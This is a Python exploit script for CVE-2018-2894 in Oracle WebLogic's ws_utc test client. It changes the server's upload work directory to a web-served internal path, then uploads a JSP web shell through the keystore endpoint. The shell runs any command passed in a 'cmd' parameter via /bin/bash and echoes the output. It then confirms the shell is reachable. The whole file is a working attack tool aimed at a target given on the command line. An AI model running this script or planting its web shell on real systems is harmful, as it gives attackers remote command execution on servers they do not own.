#!/usr/bin/env python
# coding:utf-8
# Build By LandGrey

import re
import sys
import time
import argparse
import requests
import xml.etree.ElementTree as ET


def get_current_work_path(host):
    geturl = host + "/ws_utc/resources/setting/options/general"
    ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0'}
    request = requests.get(geturl)
    values = []
    if request.status_code == 404:
        exit("{} 404 not found".format(geturl))
    elif "Deploying Application".lower() in request.text.lower():
        print("First Deploying waiting a moment")
        time.sleep(30)
        request = requests.get(geturl, headers=ua)
    if "</defaultValue>" in request.content:
        root = ET.fromstring(request.content)
        value = root.find("section").find("options")
        for e in value:
            for sub in e:
                if e.tag == "parameter" and sub.tag == "defaultValue":
                    values.append(sub.text)
    if values:
        return values[0]
    else:
        exit(request.content)


def get_new_work_path(host):
    current_work_path = get_current_work_path(host)
    works = "/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war"
    #works = "/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css"
    if "\\" in current_work_path:
        works = works.replace("/", "\\")
    new_path = str(current_work_path[: str(current_work_path).find("_domain") + 7] + works)
    return new_path


def set_new_upload_path(host, path):
    data = {
        "setting_id": "general",
        "BasicConfigOptions.workDir": path,
        "BasicConfigOptions.proxyHost": "",
        "BasicConfigOptions.proxyPort": "80"}
    request = requests.post(host + "/ws_utc/resources/setting/options", data=data, headers=headers)
    if "successfully" in request.content:
        return True
    else:
        return False


def upload_webshell(host, uri):
    if not set_new_upload_path(host, get_new_work_path(host)):
        exit("[-] Work Path Change failed!")
    files = {
        "ks_edit_mode": "false",
        "ks_password_front": password,
        "ks_password_changed": "true",
        "ks_filename": ("shaoyu.jsp", upload_content)
    }

    request = requests.post(host + uri, files=files)
    response = request.text
    match = re.findall("<id>(.*?)</id>", response)
    if match:
        tid = match[-1]
        shell_path = host + "/bea_wls_internal/config/keystore/" + str(tid) + "_shaoyu.jsp"
        print("[+] Check URL: {} ".format(shell_path))
        if upload_content in requests.get(shell_path, headers=headers).content:
            print("[+] {} exists CVE-2018-2894".format(host))
            print("[+] Check URL: {} ".format(shell_path))
        else:
            return response
    else:
        return response


if __name__ == "__main__":
    start = time.time()
    password = "360sglab"
    url = "/ws_utc/resources/setting/keystore"
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", dest='target', default="http://127.0.0.1:7001", type=str,
                        help="target, such as: http://example.com:7001")

    upload_content = str(r'''
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send Command">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
        Process p = Runtime.getRuntime().exec("/bin/bash -c " + request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); disr = dis.readLine(); }
        }
%>
</pre>
</BODY></HTML>
''')
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'X-Requested-With': 'XMLHttpRequest', }

    if len(sys.argv) == 1:
        sys.argv.append('-h')
    args = parser.parse_args()
    target = args.target

    if "://" not in target:
        target = target.rstrip('/')
        target = "http://" + target

    upload_webshell(target, url)